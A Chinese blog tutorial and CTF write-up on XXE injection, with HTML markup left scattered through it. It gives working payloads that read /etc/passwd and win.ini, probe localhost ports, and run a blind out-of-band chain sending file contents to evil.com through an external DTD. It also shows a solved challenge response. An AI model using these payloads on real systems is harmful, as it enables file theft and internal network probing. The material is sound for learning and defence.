0x00前言
早上看到某篇公眾號的文章發了一篇XXE漏洞挖到個星巴克,拿到了一手獎金。決定晚上瞧這洞XXE又叫XML外部實體注入(XML External Entity Injection)
簡單來說,XXE就是XML外部實體注入。當允許引用外部實體時,透過建構惡意內容,就可能導致任意檔案讀取、系統指令執行、內網連接埠探測、攻擊內網網站等危害。
例如,如果你目前使用的程式為PHP,則可以將libxml_disable_entity_loader設定為TRUE來停用外部實體,從而起到防禦的目的。
XML基礎
在介紹xxe漏洞前,先學習溫顧XML的基礎知識。 XML被設計為傳輸和儲存數據,其焦點是數據的內容,其把數據從HTML分離,是獨立於軟體和硬體的資訊傳輸工具
<br><!ENTITY 實體名稱<span>"實體的值"</span>><br>外部實體:<br><br><span><span><<span>!ENTITY</ span> 實體名稱<span>SYSTEM</span> "<span>URI</span>"></span><br>參數實體:<br><br><span><<span>!ENTITY</span> % 實體名稱"實體的值" ></span><br>或<br><span><<span>!ENTITY</span> % 實體名稱<span>SYSTEM</span> "<span>URI</span>"></span><br>實例示範:除參數實體外部實體+內部實體<br><span><span><?</span>xml version=< span>"1.0"</span> encoding=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE a [<br> <!ENTITY name "nMask ">]></span><br><span><<span>foo</span>></span><br> <span><<span>value</span>></span>&name;<span></<span>value</span>></span> <br><span>< ;/<span>foo</span>></span><br>實例示範:參數實體+外部實體<br><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE a [<br> <!ENTITY % name SYSTEM "file:///etc/passwd"><br> %name;<br>]></span><br>注意:%name(參數實體)是在DTD中被引用的,而&name(其餘實體)是在xml文件中被引用的。 <br><br>由於xxe漏洞主要是利用了DTD引用外部實體導致的漏洞,那麼重點看下能引用哪些類型的外部實體。 <br><br>外部實體<br>外部實體即在DTD中使用<br><br><span><<span>!ENTITY</span> 實體名稱<span>SYSTEM</span> "< span>URI</span>"></span><br>語法引用外部的實體,而非內部實體,那麼URL中能寫哪些類型的外部實體呢? <br>主要的有file、http、https、ftp等等,當然不同的程式支援的不同:<br><br>實例示範:<br><br><span><span><?< /span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>?></span></span><br><span><!DOCTYPE a [ //定義一個外部名稱<br> < ;!ENTITY content SYSTEM "file:///etc/passwd">]></span> // SYSTEM "file:///xxxx"用於讀取檔案<br><span><<span>foo</span>></span> //定義標籤標籤名稱可以隨便輸入,也可以和外名稱對應<br> <span><<span>value</span>></span>&content;<span></<span>value</span>></span> <br><span></<span>foo</span>></span><br><br>得帶Content-Type:application/xml頭,如果請求頭類似:Content-Type: application/json,那麼可以改為Content-Type: application/xml試試有沒有xml漏洞<br></span>
這裡找來一道CTF的題,BWAPP搭建的XXE好像有問題。和文章用一樣的操作得出來的結果不符合
QCoD1A.png
主題地址:web.jarvisoj.com:9882
QCoWtg.png
抓包一手得到發現是如下請求的
QCooXq.png
將Content-Type改為Content-Type: application/xml,傳送以下內容偵測是否存在XXE
<span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"UTF-8"</span><span>?></span></span><br><span><!DOCTYPE sb [<br> <!ENTITY xxe "XXE Test"> //XXE Test是輸出的內容xxe可以為理解為一個變數<br> ]></span><br><span><<span>em</span>></span> //亂取個名就好<br> &xxe; //理解為引用變量地址輸出<br><span></<span>em</span>></span> <br>
讀取文件測試
QC7EZV.png
讀取flag文件
QC72WQ.png
由於這裡是py的環境沒有辦法測試更多
HTTP/1.0 <span>200</span> OK<br><span>Content-Type</span>: text/html; charset=utf-8< br><span>Content-Length</span>: 44<br><span>Server</span>: Werkzeug/0.9.4 Python/2.7.6<br><span>Date</span>: Wed, 27 Nov 2019 15:37:08 GMT<br><br><span><span><em></span><br > <span>CTF</span>{XxE_15_n0T_S7range_Enough}<br><br><span></em></span><br></span>
這裡就直接列出來
ML文檔是用PHP進行解析的,那麼也可以使用php:<span>//filter協定來進行讀取。 </span><br><br><?xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span>?><br><span>< span><!DOCTYPE root [<br><!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini"><br>]></span><br><span><<span>root</span>></span><br><span><<span>root</span>></ span><span><<span>foo</span>></span>&am p;content;<span></<span>foo</span>></span><span></<span>root</span>></span><br><br>連接埠掃描<br>載入外部DTD時有兩種載入方式,一種為私有private,第二種為公用public。 <br><br>私有類型DTD載入:<br><br><span><<span>!ENTITY</span> <span>private_dtd</span> <span>SYSTEM</span> "<span>DTD_location</span>"></span><br><br>公共型DTD載入:<br><br><span><<span>!ENTITY</span> <span> public_dtd</span> <span>PUBLIC</span> "<span>DTD_name</span>" "<span>DTD_location</span>"></span><br>在公用型別DTD載入的時候,會先使用DTD_name來檢索,如果無法找到,則透過DTD_location來尋找此公用DTD。利用DTD_location,在一定的環境下可以用來做內部網路探測。 <br><br><span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>? ></span></span><br><span><!DOCTYPE root [<br> <!ENTITY portscan SYSTEM " http://localhost:3389 "><br>]></span><br><span><<span>root</span>></span><span><<span>foo</span>> </span>& ;portscan;<span></<span>foo</span>></span><span></<span>root</span>></span><br><br>< br>blind xxe漏洞:<br>對於傳統的XXE來說,要求攻擊者只有在伺服器有回顯或報錯的基礎上才能使用XXE漏洞來讀取伺服器端文件,如果沒有回顯則可以使用Blind XXE漏洞來建立一條帶外頻道提取資料。 <br>利用DTD進行資料回顯<br>有時讀取檔案時沒有回顯,這時可以利用DTD參數實體的特性將檔案內容拼接到url中,達到讀取檔案的效果。 <br><br> <span><span><?</span>xml version=<span>"1.0"</span> encoding=<span>"utf-8"</span><span>? ></span></span><br> <span><!DOCTYPE root[ <br> <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <br> <!ENTITY % dtd SYSTEM " http://192.168.1.100:8000/evil.dtd "> <br> %dtd; <br> %send;]></span><br> <span><<span>root</span>></span><span></<span>root</span>></span><br>evil.dtd<br><br > <span><<span>!ENTITY</span> % <span>payload</span> "<!<span>ENTITY</span> &#<span>x25</span>; <span>send</span> <span>SYSTEM</span> '<span>http:</span>//<span>evil.com</span> /?<span>content</span>=<span>%file;</span>'></span>"><br> %payload;<br>在evil.dtd中將%file實體的內容拼接到url後,然後利用burp等工具,查看url請求就能獲得我們需要的內容</span>